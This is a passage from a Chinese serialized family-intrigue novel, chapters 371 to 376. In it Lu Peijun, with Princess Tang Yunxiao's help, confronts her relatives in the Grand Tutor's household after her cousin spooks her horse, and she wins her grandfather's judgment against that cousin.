不是一味哭诉委屈,也不是莽撞央求庇护,而是清楚地知道自己要什么、该怎么要。
陆珮君虽处境艰难,却并未失去判断力,反而能在绝境中迅速抓住一线机会,为自己谋划。
她最欣赏的便是这等心思清明、手段明确的人。
陆珮君定了定神,声音清晰而坚定:“还请郡主帮我说动小季太医去太傅府走一趟,替我作证。今日坠马,我的胳膊折了,心神乃至脏腑都受了惊悸,需要好生调养。”
她要让祖父亲眼看看,陆玥君今日所为,绝非姐妹间的小打小闹,而是险些闹出人命的祸事。
她不能让这件事再像从前那样,大事化小小事化了。
“好。”棠云婋再一次答应了她。
随后她让九栀和衔蝉带上季行舟,一块去了太傅府。
等陆珮君离开后,谢翊宁方才走了进来,他脸拉得老长,小声抱怨:“终于走了。”
这些人真是耽误他和婋婋相处。
“陆二小姐也不容易。”棠云婋笑着给他倒了一盏桂花蜜茶。
这是阿娘最近很喜欢喝的茶,她试了几次也爱上了,打算让王爷也尝尝。
“陆二小姐,陆珮君是么?”谢翊宁若有所思地看了出去。
棠云婋点点头,随后有些好奇:“你认识?”
“刚想起来的。”谢翊宁凑到她耳边压了声音。
“你还记得上一世上巳节前夕京城发生的事情么?”
棠云婋摇了摇头。
他便把陆珮君上一世跟着陆玥君一行人出城踏青后被山匪掳走的遭遇说了。
还把母后有意让陆珮君当他王妃的事情给说了。
棠云婋眉心紧锁。
怪不得上一世温如霜和晏明月回来之后,不许晏明月再出门,原来是因为这事。
见她这个表情,谢翊宁心里暗道糟糕。
他该不会弄巧成拙了吧?
他只是想借此让婋婋把上辈子她和陆池的渊源给说出来啊。
见棠云婋迟迟不说话,他稍微凑近了一些,语气里带着一丝理直气壮和几分小心翼翼。
“本王可什么都跟你说了,半点没藏着掖着。那……你呢?你和陆池的旧事,能不能也跟我说说?”
棠云婋这才意识到他为何忽然提起认识陆珮君。
敢情在这等着她呢。
她有些哭笑不得,便将上辈子的事情一一道来。
“我和陆池只见过一面。”
谢翊宁立刻坐直了身子,等着她继续说下去。
“那时候,晏鸿升在边境失踪,侯府上下乱成一团,我以为我去把他找回来,家里就会好起来了。”
“于是我偷偷溜出去,然后在城外遇见了离家出走的陆池。”
“他身上带的银钱被偷了,看着怪可怜的,于是我给他买了一个馒头。”
“然后我们就分开了。”
……
“就这样?没了吗?”谢翊宁一脸惊讶。
棠云婋无奈地点了点头:“据我所知,没有了。”
谢翊宁这才长长地舒了一口气。
“不过……”棠云婋思索着要不要把配冥婚的事情说出来。
“不过什么?”谢翊宁又急了。
婋婋跟谁学的说话方式。
怎么一顿一顿的,急死他了。
棠云婋想了想,王爷都把皇后有意想要让陆珮君当永安王妃的事情说出来了,那她也不必隐瞒。
“不过我死后做鬼时,晏明远说过,想让我给陆池配冥婚。”
谢翊宁猛地站起身,椅子腿在地上刮出刺耳的一声响。
他没想到晏家人竟然这么恶心,她都死了,竟还企图将她与另一个死人捆绑,将她最后的安宁都剥夺。
“他、他怎么敢……”谢翊宁气得咬牙切齿。
“所以我把他们都弄死了。”棠云婋风轻云淡地开口,说得像刚杀了只鸡准备吃晚饭一样轻松。
她握住他的手,示意他坐下。
在棠云婋的安抚下,谢翊宁勉强缓了过来,忍不住问道:“他们还对你做了什么?”
棠云婋把做鬼时偷听到的对话都说了出来。
谢翊宁听得心底的火越烧越旺。
晏家人对婋婋真是敲骨吸髓,物尽其用,连最后一点价值都要压榨干净,不留一丝余地。
骂他们畜生都是便宜他们了。
“死得那么简单,真是便宜他们了。”谢翊宁眼底闪过一丝寒意。
“好啦,不说那些令人不高兴的事情了。折腾了一天,荷花酥还没吃呢。”棠云婋转移了话题。
都已经过去了,没必要再提了。
往后呀,她只要向前看,高高兴兴地和王爷在一起,幸福生活一辈子就好了。
“那你快尝尝!你若喜欢,下回我直接把厨子送过来。”谢翊宁明白她的苦心,配合着转移了话题。
*
陆珮君在九栀等人的护送下,回了太傅府。
她的父亲陆林安和母亲袁氏收到消息立刻就来接她了。
看到面色苍白虚弱倚靠在九栀身上的陆珮君,袁氏眼泪扑簌簌地往下落。
她上前搀扶陆珮君,哽咽道:“珮儿,你可算回来了。听说你惊了马,可吓死娘了!没事就好,没事就好……快,快回去歇着,莫要声张。”
听到前面,陆珮君还有些感动。
听到“莫要声张”四个字,她心底一阵难过。
她怎么会对母亲还抱有希望呢。
她来接她,不过是为了息事宁人罢了。
生怕她把事情闹大,惹得祖父和继祖母不快。
“娘,我要见祖父。”陆珮君声音虽小,但语气却十分坚定。
见到了祖父,当面同他分说,祖父才会重视,继祖母那边才无法将这事压下去。
听到女儿要见公公,袁氏吓了一跳,她继续劝说道:“珮君,莫要冲动。别忘了你爹说的,家和万事兴。”
第372章 她不想忍了
陆珮君唇角扯出一抹苦笑。
又是这句“家和万事兴”,这么多年来,他们大房忍让退步,家是和了,那也是她和长姐受了无数委屈换回来的。
她看向了父亲陆林安。
“爹,你觉得呢?”
陆林安讷讷道:“都是一家人,算了吧。”
听到这话,陆珮君彻底意识到爹娘是靠不住的。
她这个女儿都差点没命了,他们还要她息事宁人。
她不忍了。
她冷冷道:“父亲,母亲,你们若无法替我讨回公道,那也请不要阻拦我替自己讨回公道。”
两人听到这话,脸色顿时变得煞白。
他们还没来得及劝说女儿,就看到陆玥君的母亲蒋氏走了过来。
蒋氏仿佛没看到他们,直接走向了陆珮君。
她挤出一抹关切的笑:“珮君回来了?瞧这小脸白的,真是遭了大罪了。二婶听了都心疼坏了。”
她话锋一转,看似无奈地叹了口气。
“不过,不是二婶说你,你们姐妹间玩闹,偶尔失了分寸也是有的,怎的就闹得那么大?”
“如今倒好,外面传得风风雨雨,说什么的都有,竟都说是我们玥君故意害你。”
她上前一步,假意要拉陆珮君的手,眼神里却毫无温度。
“珮君啊,咱们关起门来是一家骨肉,有什么事不能自家说,非要闹得满城风雨,让外人看了我们太傅府的笑话?”
“二婶和玥君平日里都待你不薄吧,你听到这样的消息,怎么不替玥君说话,反倒撇下她一个人跟着郡主走了呢?”
“玥君如今哭成了泪人,说她百口莫辩,好好的名声就这么毁了。日后她还怎么嫁人?”
“都是太傅府的姑娘,玥君名声不好,你这个当姐姐的又好得了么?”
陆珮君先前强压下喉间翻涌的恶心,听完母亲那番“家和万事兴”的论调,她的胃里早已是翻江倒海。
如今又听到蒋氏这不要脸的话,她忍无可忍。
她上前一步,猛地一弯腰,“哇”一声,把肚里那些犯恶心的酸水全都吐到了蒋氏漂亮的衣裳和崭新的鞋上。
还好,一滴没浪费,全弄蒋氏身上了。
蒋氏被她这突如其来的呕吐弄得一怔,随后尖叫了起来。
“你,你,你!”
她气得话都说不出来了。
她看得出来,陆珮君分明就是故意的。
而陆珮君脸色苍白如纸,气息微弱低声道:“二婶恕罪。方才马场上,三妹妹用球杆猛击我的马,我受了惊吓,一直强忍到此刻,实在是控制不住了。”
衔蝉轻咳一声,给了季行舟一个眼神。
季行舟赶忙补充道:“陆二小姐所言属实。手臂骨折之痛,加之骤然受惊,气血逆乱,又坐马车奔波,引发恶心呕吐再正常不过了。”
直接把蒋氏卡在喉咙里的话给堵了回去。
衔蝉紧随其后,盈盈一笑:“陆二夫人,我家郡主让我等送二小姐回府,顺便和陆太傅问声好。毕竟之后我家两位少爷还得麻烦陆太傅呢。”
“不知道陆三小姐可将此事告知了陆太傅?”
蒋氏面色一僵。
女儿和令嘉郡主的赌约她已经知晓。
如今公公还不知道女儿背着他答应了帮人指点功课,她打算让婆婆去吹吹枕边风,把这事一笔带过。
她不敢赖账,毕竟那么多人看着,而且令嘉郡主可不是好相与的主。
从前只是县主,就敢当着那么多人的面罚女儿跪下。
如今成了郡主,只怕会更加嚣张。
若女儿不答应,棠云婋恐怕会干出上门敲锣打鼓质问的事情。
“自、自然说了。过两日便会派人答复郡主。”蒋氏客客气气地回答。
缓过神来的陆珮君淡淡道:“那多麻烦啊。不如就趁着今日,让祖父给这位姐姐一个答复,让她回去给郡主交差。好叫郡主知晓咱们太傅府说话算话,敢作敢当。”
蒋氏听到她开口,不满地看向了陆林安。
“大哥,这么大的事,哪里轮得到一个孩子来插嘴。你们大房如今是珮君掌事了么?”
陆林安被弟妹这么一怼,面色讪讪,正欲开口。
陆珮君虚弱地抬了抬眼:“二婶,您眼下仪容不便,不如就请母亲先带我与两位姐姐去面见祖父吧。”
她稍作停顿,语气显得愈发恳切周全。
“今日马场上的事,总得原原本本向祖父禀明才是。若是拖延,等到明日祖父从同僚或言官口中听得些风言风语,只怕反倒更伤我们太傅府的颜面,也让祖父为难。”
蒋氏头一回意识到这个隔房的侄女这么伶牙俐齿。
她恨恨地看了陆林安夫妻一眼,眼带警告:“大哥、大嫂,还是珮君的身子要紧,你先领她回去歇息吧。郡主身边这两位姑娘我自会派人招待,等会儿我再领她们去见父亲。”
一边是强势的妯娌,一边是固执的女儿。
袁氏急得团团转。
陆林安也是没主见惯了,唯唯诺诺不知道该说什么才好。
陆珮君不由分说,抓住了袁氏的手腕,看向了九栀,目露哀求。
九栀当即架起了袁氏:“大夫人,走吧。我等还急着回山庄跟郡主复命呢。”
就这样,袁氏还没来得及反对,就直接被他们架走了。
她大惊失色,想要回头看夫君,却听到女儿低声道:“娘,您就算不帮我,也不要害我。若今日我见不到祖父,那我便立刻上吊,留下遗书昭告天下,是您这个当娘的害死了我。”
“你这孩子,胡说什么!”袁氏惊得脸色一会儿青一会儿白。
若是传出她逼死了女儿的消息,她肯定会被休的。
她不敢再回头,只得跟着女儿往前走。
陆珮君没再说话,忍着恶心推着母亲去找祖父。
蒋氏没想到陆珮君会一改往常的态度,长出一身反骨,顿时气得直跺脚。
陆林安见状忙道:“我,我先去通知璧君,她们姐妹情深,若是得知珮君出事了,定然很伤心。二弟妹你先忙,我走了。”
他说完立刻脚底抹油开溜去了大女婿家。
他不敢面对父亲和继母,又不想夹在二弟夫妻还有女儿之间为难,选择了溜之大吉。
蒋氏:“……”
她咬牙切齿地骂了一句废物,随后又道:“先回去换衣裳,然后再去看这天杀的小贱人会说出什么话来。”
公公最在乎仪表,她若顶着这肮脏酸臭的模样去到他面前,定然会被训斥。
她再着急,此刻也只能先回屋更衣换鞋。
第373章 家丑到处扬
刚一靠近正堂,就听到了陆玥君的哭声,还有祖母的劝说声。
陆珮君深吸了一口气。
她知道,今日若不能借着祖父的手把陆玥君按下去,那之后迎接她的会是更猛烈的报复。
不管是祖母还是二婶,都不会放过她。
这一次,她只能成功,不能失败。
她咬着唇看向衔蝉和九栀:“待会拜托二位姐姐了。”
“放心吧,郡主都交代好了。”衔蝉温柔安慰她。
九栀没说话,点头默认了。
若有人动手的话,她也不会留情。
唯有季行舟惦记着双鲤许诺的桂花饼,打算帮完这个忙就回季家等着好吃的送上门。
丫鬟看到袁氏和陆珮君,急匆匆地进去报信。
没一会儿,陆老夫人身边的一等丫鬟姚黄就出来请他们了。
“大夫人,二小姐,老太爷有请。”
陆珮君倚靠在九栀身上,让她搀扶着自己进去。
袁氏在衔蝉的凝视之下,惴惴不安地跟着走了进去。
陆珮君一进去,还没来得及行礼,陆老夫人就抹着眼泪走上前。
“可怜的二丫头,今天真是委屈你了。来,让祖母瞧瞧,伤到哪了?”
陆珮君在心底冷笑。
这位祖母每一回都是这样,在祖父面前装得温柔娴熟,慈爱大度。
她若是说祖母对她不好,祖父根本就不会相信。
祖父一心沉溺于学问与政事,从不管后宅之事。
只要不丢陆家的脸就行。
“我瞧着你脸色有些白,等会儿祖母就让人把库房里那支百年人参给你送去补补身子啊。”陆老夫人摸了摸她的脑袋。
真是虚伪啊,虚伪得让她想吐。
陆珮君有些遗憾。
刚刚吐得太干净了,不然现在如法炮制,往祖母身上也吐一吐,不知道她会气成什么样。
每一回祖母都说给她好东西,实际上都只是在祖父面前说说罢了,从未给过一次。
她若是闹到祖父面前,祖母有一千个理由等着她。
她试过几次之后,就知道遇到这种情况,她只能说一句多谢祖母,别的什么也做不了。
但这一次,她不干了。
像令嘉郡主说的一样,她有她的规矩。
于是她微微一笑:“多谢祖母。不必等会儿了,现在您就让人拿来吧。我命人马上把它拿去煮了,晚点儿回屋正好能喝上。”
陆老夫人脸色一僵。
没想到陆珮君还真敢要她的东西。
陆老太傅不知道妻子心里的打算,皱眉道:“行了,就依二丫头的,赶紧给她补补。”
陆老夫人气得在心底呕血。
这么贵重的东西,她等着日后给三丫头当陪嫁的呢,现在竟然直接被二丫头给要去了。
但她不敢表现出来,只得僵硬一笑,命人去把人参取来。
她低声耳语了几句,嘱咐了下去。
横竖人参装在盒子里,什么年份的他们也不知道。
她打算拿一个年份低的糊弄一下陆珮君。
不曾想,东西一拿过来,陆珮君竟然当着所有人的面都打开了。
一旁的衔蝉“咦”了一声。
“老夫人。这参瞧着只有十几年,压根不是百年的呀。您莫不是被人骗了吧。”
陆老夫人:“……”
这郡主的丫鬟真没眼力见。
要她多嘴!!!
若她不说,大房这些没见识的肯定就被糊弄过去了。
她僵硬道:“许是丫鬟拿错了。”
陆珮君听到这话,怒道:“祖母,您身边可不能再留这样粗心的丫鬟了!从前给我们大房拿的东西就时常出岔子。”
“说是江南进上的新缎子,打开却是压了箱底、失了颜色的旧料。”
“赏的首饰盒子看着沉甸甸,打开里头却空空如也,只剩一层绒布。”
“更别说那些口头上许诺的补品药材,十回里有八回不是拿错了就是暂时没了下文。”
她这番话几乎是把陆老夫人的脸皮扯在地上踩了。
陆老夫人气得浑身发抖,袁氏看着女儿目瞪口呆。
陆老太傅脸色难看至极。
他一直坚信夫人治下有方,怎么会有这些事情存在?
他对陆珮君也不满意。
还有外人在呢,怎么能将家丑四处宣扬。
陆珮君却没有停下来,还在继续说。
“孙女儿一直以为是下人们惫懒欺主,如今看来,竟是她们如此欺瞒祖母。”
“今日敢拿十几年的次参冒充百年老参糊弄您,明日还不知要闯出什么祸事来。”
说到这,她看向了陆老太傅。
“祖父,这样的人,万万不能再留在祖母身边伺候了!再留下去,还不知道要蒙蔽祖母多久呢。说不定,迟早要把太傅府给搬空。”
陆老太傅没有回答她,而是沉着脸看向了袁氏:“老大媳妇,二丫头说的可是真的?”
袁氏突然被问话,吓得一激灵。
她下意识地看了一眼陆珮君,只看到陆珮君无声地对她做了一个口型。
“上吊。”
袁氏赶忙点头:“是,珮君说的都是实话。”
陆老夫人没想到被拿捏了十几年的大儿媳妇今日竟然跟她唱了反调。
她快被气晕了。
好在这时的蒋氏急匆匆地来了。
给公公婆婆行礼之后,她赶忙将罪责背了下来,先是道歉,道歉结束后又想支走陆珮君。
“父亲,珮君身子不适,儿媳已经命人去请大夫了,要不还是先让她回屋休息吧。那些欺主的刁奴,儿媳定然会好好惩戒。”
“请什么大夫,你们是信不过本太医的医术?”季行舟哼了一声。
陆老太傅这才把目光落到了他身上。
他知道季行舟,季老太医的孙儿嘛,跟着永安王去了青州,立了大功,特批进了太医院。
乃是大虞开国以来最年轻的太医。
医术自然不会有错。
“我们自然是信得过你的。敢问小季太医,我这孙女的身子究竟如何了?”
季行舟按照郡主教的话忽悠了一遍,还往严重了说。
“若非郡主及时出手,贵府的二小姐如今怕是成了一具死尸了。”
“哪有那么严重!都说了我不是故意的,是她自己骑术不佳,控不住马儿。”地上跪着的陆玥君急赤白脸地反驳。
第374章 还有一件事
这颠倒黑白的话让当时也在场的九栀气得眼神更冷了。
可当事人陆珮君非但不恼,反而露出了担忧的神色。
她轻轻蹙起眉,语气温柔得仿佛能滴出水来。
“三妹,姐姐自然知道你不是存心的。你我姐妹之间,我怎会不信你呢?”
这话一出,陆玥君顿时愣住了。
陆老夫人和蒋氏听到这话,也很惊讶,但总算松了一口气。
看来陆珮君还是和从前一样胆小怕事,任他们捏圆搓扁。
不料,陆珮君话锋一转:“只是当时马场上那么多双眼睛都瞧着,妹妹你刚输给郡主就挥着球杆冲我的马来了。那场面,着实是有些失态了。”
她轻轻叹了口气,像是极为陆玥君着想。
“我这个当姐姐的受些委屈没什么,毕竟这些年我也习惯了。”
陆家人:“???”
这话听着怎么这么阴阳怪气?
陆珮君像是看不见他们吃人的眼神,抬头看向了坐在主位上一言不发的祖父。
“只怕那些不明就里的外人见了,不会觉得是妹妹你年纪小、性子急,反倒要议论我们太傅府的姑娘行事跋扈,输了比赛便拿自家姐妹撒气。”
“这要是传扬开来,损了妹妹的清誉是小,若是连累了我们整个太傅府姑娘们的名声,甚至是出嫁了的姑娘,让祖父追在朝堂上因此被人非议。那可如何是好?”
她这一番话,句句看似体贴关怀,实则稳稳的将“输不起”、“跋扈”、“损害家族声誉”的帽子,扣在了陆玥君的头上。
陆玥君顿时急了,也顾不得场合,声音猛地拔高。
“那你出去跟他们说清楚不就行了!就说是我无心之失,是你自己没坐稳。你亲自去说,谁还敢乱嚼舌根?”
她越说越觉得是自己受了天大的委屈,指着陆珮君,语气变得尖锐而理所当然。
“你要是说不清楚,或者别人还在误会我。那、那肯定就是你没用心,你就是存心想害我丢脸!”
季行舟看得目瞪口呆。
他还是头一回遇上这么蛮不讲理的女子。
明明是她做错了事情,却非要赖在别人头上。
他不由暗暗庆幸,家里还没催他成婚,若是让他娶了这样一个嚣张跋扈的女子,那季家怕是永无宁日。
列祖列宗的棺材板怕是都要压不住。
陆老夫人听到这话,也跟着点了点头,看向了陆老太傅:“老爷,我先前问了池儿还有林家那几个孩子,他们都说了,玥君不是故意的。到时候让珮君出面澄清,这事啊,也就了了。”
陆珮君听着祖母这番和稀泥的话,心中冷笑,但面上却是不显,依旧保持着担忧的神情。
她跟着点了点头:“祖母说得对。”
连着吃了两次亏,陆老夫人听到她认可自己的话,不觉得高兴反而提起了警惕。
这死丫头又要说什么?
陆珮君慢悠悠道:“只是今日在场的,除了郡主和苏家姑娘,还有永安王呢。兵部尚书还有御史大人的公子好像也都在场……孙女解释了,他们也未必会信。”
这话瞬间让陆老太傅的眉头狠狠一跳。
御史!
那可是专司风闻奏事的言官。
若被他们抓住家宅不宁、纵容孙女行凶还试图遮掩的把柄,再在朝堂上参他一本“治家不严”、“纵容亲眷”、“德行有亏”,那可就糟糕了。
见他变了脸色,陆珮君抓住时机,对着他深深一拜。
“祖父明鉴!孙女并非要追究三妹过错,只是担心此事若处理不当,会被有心人利用,大做文章。届时损害的,便是祖父的清誉和太傅府的根基了。”
她以退为进,直接将个人委屈上升到了家族利益和祖父的官声前程。
陆老太傅的脸色彻底沉了下来。
他浸淫官场多年,深知人言可畏,尤其是御史的笔杆子。
他宠爱小孙女不假,但这一切都必须建立在不能动摇他官位和家族声誉的基础上。
相比之下,小女儿家的那点争执顿时显得无足轻重。
陆玥君是他的孙女,陆珮君亦是。
更何况这大半年来,陆玥君接连出了大错,是该好好敲打敲打了。
他扫了一脸不服的陆玥君和还想求情的陆老夫人一眼,最终沉沉开口:“够了!”
一声呵斥,满堂寂静。
“玥君。”他看向自己一向疼爱的小孙女,语气是前所未有的严厉。
“你行事莽撞,惊马伤姐,事后不知悔改,还强词夺理!罚你禁足祠堂一月,抄写《陆氏家训》一百遍。”
“每抄一遍,要附上自己的心得感悟,送给你二姐姐批阅。”
“父亲!”蒋氏失声惊呼,陆玥君更是瞬间脸色惨白。
抄一百遍?
还要写心得体会,送给陆珮君批阅?
这和杀了她有什么区别?
她还如何造假?
陆珮君算什么东西,她凭什么来管她?
就算一天抄一遍,也得抄上三个月。
陆玥君气得要吐血。
但母亲和祖母都拦住她不许她开口,她只得恨恨地盯着陆珮君。
陆老太傅根本不看她们,转而看向陆珮君,语气缓和了些:“珮君受委屈了。等会儿祖父就让人给你挑些养身子的东西送去。还有,你院中伺候的人既然不得力,便让你母亲……”
提到袁氏,他微不可察地皱眉。
他知道这个大儿媳妇是掌不了家的,于是又改口:“等会儿便把你身边的人打发了去,祖父重新让管家去牙行给你挑几个得用的。你若有看中的,那便留下。你的月例,从此按双份领。”
陆珮君心中了然,祖父虽然没有惩戒偏心的祖母,但这已是祖父在当前情势下能做出的最大让步。
她立刻顺从地跪下,恭敬谢恩:“谢祖父为珮君做主。”
从今往后,她手里有双份月例,还有自己的人,至少她可以喘一口气了。
有了自己的人,她才能和祖母斗。
季行舟看没他什么事,便直接告辞了。
他走后,陆珮君再一次开口。
“祖父,孙女还有一事要报。”
第375章 真是宠坏了
“还有何事?”陆老太傅揉了揉眉心,语气带着不耐烦。
这几十年来,他从未被这后宅琐事打扰过,今日若不是事情闹得太大,必须要他出面,他也不会坐在这了。
处理这些琐事,实在令他烦躁。
陆珮君垂着眼,将马场上陆玥君与令嘉郡主立下赌注之事娓娓道来。
听到“每十日指点棠家两位少爷一篇文章”这句话,陆老太傅眉毛猛地一拧,不悦地横了跪在地上的陆玥君一眼,心中涌起一阵烦躁与抵触。
他乃当朝太傅,天子近臣,清流文官之典范,多少世家权贵想将子弟塞到他门下而不得。
教导因为立功而入国子监,而不是正经考进去的棠家兄弟,对他来说简直是有失身份。
更何况教导学生也并非易事,还每十日一次,简直是浪费他的时间。
族中子弟,资质平庸的那些他都懒得悉心栽培,如今却要为一个赌注,去耗费心神指点两个不知根底的学生,这不是白白增加负累么。
再想到他堂堂一个太傅大人,竟然被小辈拿着他的清誉和时间去当了赌注。
他越想越火大,看着陆玥君的眼神也就越发不满。
这孙女平时有点小聪明,会说话,会讨他欢心,再加上那张脸越来越像夫人,他才一直对她多几分纵容和偏爱。
可如今看来,真是把她宠坏了。
他冷哼一声:“真是胡闹!竟敢拿祖父的清誉和时间去做这等儿戏赌注。”
陆老夫人看出他是真的动怒了,赶忙推了陆玥君一把。
陆玥君立刻跪地磕头认错:“祖父,是孙女狂妄无知,只顾一时意气,未曾想过会损及祖父清名、辜负祖父爱重……孙女甘愿领罚,绝无半句怨言。”
“好一个绝无半句怨言。”陆老太傅冷笑,随后直接下令,“将我的戒尺取来。”
“老爷。”
“父亲!”
陆老夫人和蒋氏都吓了一跳。
陆玥君更是吓得瑟瑟发抖。
祖父竟然请戒尺了!
“怎么,如今我连这个家都当不得了?管教一个小辈也要你们妇道人家同意了?”陆老太傅看向了她们二人。
陆老夫人哑口无言。
蒋氏忙摇头:“儿媳不敢。只是……”
“没有只是。”陆老太傅接过长随递来的戒尺,冷冰冰地看着跪在地上的陆玥君。
“伸手。”
陆玥君知道这一劫逃不掉了,哭着伸出了手。
陆老太傅没有留情,重重地对着她的掌心抽了一下,疼得陆玥君惨叫一声哭了出来。
“你不是讲面子、好逞能吗?那你就好好记住这次的教训。”陆老太傅一边训斥一边狠狠将戒尺拍下。
足足二十下,一次都没少。
陆玥君疼得浑身发抖,两手的手心早已红肿不堪,一道道戒尺留下的棱子高高隆起,火辣辣地疼。
她眼泪吧嗒吧嗒地砸在地砖上,连哭都不敢大声,只压抑地抽噎着。
打完之后,陆老太傅将戒尺交给了长随,而后沉声道:“我年事已高,精力不济,没那么多闲工夫陪小辈胡闹。”
“但我们陆家人,不能言而无信。既是你惹出的事端,你等会儿亲自去跟令嘉郡主解释。告诉她,指点他们可以,但每月就一次。”
陆玥君泪眼朦胧地看向自己红肿的掌心,不可思议道:“等会儿就去?”
她就这样去,棠云婋还不知道要怎么笑话她,羞辱她呢。
陆老太傅没开口,但表情已经很明显了。
这事断然没有商量的可能。
陆老夫人直接推了她一把,催促道:“还不赶紧给你祖父认错。”
陆玥君抽抽噎噎地开口:“祖父教训得是,孙女记住了,再也不敢了。”
陆老太傅这才挥袖离去。
陆老夫人看向了九栀和衔蝉,露出和善的笑:“我家老爷发话了,那等会儿就劳烦二位姑娘领着三丫头去见一趟郡主了。”
等会儿郡主身边这两个丫鬟走了,她倒是要看看二丫头还怎么狐假虎威。
“衔蝉姐姐,祖父说让人牙子领丫鬟上门让我选。你呆在郡主身边,见多识广,慧眼识珠,待会能不能帮我掌掌眼?”陆珮君握住了衔蝉的手,留下了她。
陆老夫人和蒋氏也知道她的打算,当即呵斥。
“胡闹,人家还赶着回去伺候郡主呢。”
“就是,有我这个当祖母的替你掌眼不就行了,何必劳烦外人。”
不料衔蝉却道:“郡主身边能伺候的人多着呢,不缺奴婢一人。反倒是陆二小姐身边无人可用。郡主怜惜她,来之前就下了命令,让奴婢多陪她几日。”
陆老夫人、蒋氏:“……”
没想到这一趟竟然让陆珮君抱上令嘉郡主的大腿了。
衔蝉见她们愣在原地,再一次提醒道:“太傅大人方才吩咐了,请三小姐尽快去同郡主商议,修改约定的事可拖延不得。”
“依奴婢看,诸位还是抓紧些为好。摘星山庄远在城外,这一去一回,路上可要耗去不少工夫。”
“若是迟了,天黑前赶不回来……”
“郡主一向不喜留外人宿在庄中,到时候三小姐怕是真要无处可去了。”
听到衔蝉这番话,陆老夫人和蒋氏顾不得找陆珮君的麻烦,赶紧命人备车出城。
陆珮君捧着祖父亲自命人送来的百年老参,领着母亲袁氏一路往院子里走。
袁氏跟在她身侧,脚步都有些发飘,眼神恍惚,仿佛还在做梦。
自从她嫁入这太傅府,嫁给性子绵软、只知“孝道”和“忍让”的陆林安,她的人生仿佛就只剩下了一个“忍”字。
忍婆婆的刻薄刁难,忍二弟妹蒋氏的步步紧逼,忍女儿们受委屈时自己无能为力的心痛……
她早已习惯了低头、退让,将所有的苦楚和着眼泪默默咽下。
可今日,她竟然亲眼看着女儿三言两语,不仅让一向偏心的公公惩戒了最受宠的陆玥君,还从铁公鸡般的婆母手里硬生生抠出了这支老参。
她忍不住偷瞄女儿苍白的侧脸,发现她眉眼间却透着一股从未见过的喜色与决然。
原来……
不忍让,天好像也不会塌下来?
第376章 想要你的命
陆珮君刚躺下,就听到下人来报。
“二小姐,大小姐回来了。”
她顿时坐直了身子。
长姐怎么会回来了?
“珮君,你没事吧?”陆璧君急匆匆地走了进来,拉着妹妹就仔细检查。
她身后的丫鬟绮罗赶忙道:“夫人当心,您如今是双身子,可不能这般着急。”
听到这话,陆珮君吓了一跳:“姐姐,你、你有了?”
陆璧君见她虽然面色苍白了些,但看起来没受什么皮外伤,这才舒了一口气,点点头:“嗯。快三个月了,原本打算过些时日就告诉你的。”
“姐姐,我没什么事,你别担心。谁让你回来的?”陆珮君皱眉。
“回二小姐,是大老爷。”绮罗快言快语地回答。
“您不知道,夫人得知您惊了马,吓坏了,立刻就命人快马加鞭驾车赶回太傅府。”
陆珮君顿时恼了。
“父亲怎能如此!”
她回来的时候,不去祖父面前帮她说话就算了,还去把怀了身孕的长姐叫回家。
若长姐回家路上太心急,腹中的孩子出事了怎么办。
陆珮君越想越气:“他自己软弱便罢了,横竖这些年我也习惯了。可他千不该万不该,不该拿你的身子冒险!”
一旁的袁氏听到这话,忍不住地替夫君辩解:“珮君,那毕竟是你的父亲,为人子女,你不该这般说他。”
“你可闭嘴吧。”陆珮君对长姐的担忧瞬间盖过了所谓的孝道。
若长姐因为她出了什么事,她光是想想就受不了。
袁氏被她从未如此尖锐的语气吓得一颤,下意识地往后缩了缩身子,手里的帕子绞得更紧了。
她嘴唇嗫嚅着,声音细弱蚊蝇:“珮、珮君,他终究是你父亲,为人子女,不可如此失礼。”
“失礼?”陆珮君简直气极反笑,她看着母亲那副唯唯诺诺的模样,心头那股邪火窜得更高了。
她愤怒地反驳:“他不管我这个刚刚惊马受伤的女儿,不替我教训想害我的晚辈,还做出这等不顾长姐性命的事时,他配当一个父亲吗?”
“还有你,你除了会让我忍,让我认命,还会做什么?”
“父亲软弱,您就一味顺从。”
“他不敢去祖父面前据理力争,您就连一句重话也不敢对他说。”
“他如今把有孕的长姐推出来挡事,您不敢责怪他半分,反倒来教训我失礼?”
“若今日姐姐因赶路仓促动了胎气,您是不是也只会躲在房里哭,然后说这都是命?”
陆珮君的话语又快又急,每一个字都带着深深的失望和无力。
她从前想着忍一忍,忍到嫁了人,离开这个家就好了。
可今日令嘉郡主的一席话,让她明白了她除了忍让逃避,其实还可以有别的选择。
既然爹娘都没法当家做主,那大房的家以后就由她来当。
他们都不会立规矩,那就让她来立。
袁氏被女儿连珠炮似的质问逼得哑口无言。
她习惯了逆来顺受,习惯了用沉默和软弱来应对一切风雨。
她低下头,揉搓着手里的帕子,不敢吭声,只是默默掉眼泪。
一旁的陆璧君眼眶彻底红了。
这些年,爹娘的忍让软弱,让她不得不早早撑起心思,学着周全,事事冲在前头。
她习惯了替父母弥补,习惯了做那个懂事的、稳重的长姐,甚至嫁了人,也仿佛仍是陆家大房最靠得住的那根支柱。
此刻看着妹妹为了自己,毫不留情地撕开父母那层勉强维持的体面,字字句句虽刺耳,却全是她藏在心里想说又从未敢说出口的话。
委屈和心酸猛地涌上来,冲得她鼻腔发酸。
她反手紧紧握住妹妹的手,另一只手却下意识地护住自己的小腹,像是要同时护住这两个让她牵挂的人。
“珮君。”她声音微哽,带着点不易察觉的颤抖,却努力稳住声线。
“姐姐没事,真的,一路过来车夫把车赶得很稳当,孩子好好的呢。”
她吸了口气,把心底那股酸涩压下去,和妹妹仔细打听起今日的事情。
袁氏不敢吭声,但也竖着耳朵听了起来。
陆珮君没有添油加醋,把今天的事情全都说了出来。
袁氏和陆璧君听得心惊胆战,陆璧君更是气得狠狠砸了一下床。
“什么姐妹间的玩闹,陆玥君分明是想要你的命。”
“姐姐,你现在可不能动怒,为她气坏了身子,不值当。”陆珮君赶忙安慰姐姐。
“你看,我如今不是好好的么。”
她当即命人把那支百年山参拿来交给长姐。
“我听闻女人生孩子,那就是到鬼门关走一遭。这山参你拿着,日后生了孩子,给你补身体。”
陆璧君连忙推拒:“不行,这是给你养身子的,我不要。”
陆珮君凑到她耳边小声嘀咕:“我没事,只是胳膊脱臼了。是郡主帮了我,故意让小季太医那么说的。”
陆璧君听到真相长长地舒了一口气。
妹妹没事就好。
但她还是不肯收下陆珮君给的人参。
结果陆珮君一句话就让她改了主意。
“姐姐,你要是不拿走,到时候祖母回过神,想办法从我这拿回去怎么办。”
“好,那我先替你收着。”陆璧君当即答应了下来。
袁氏见她们姐妹二人这般亲近却排斥她这个娘亲,心里百感交集,说不上是什么滋味。
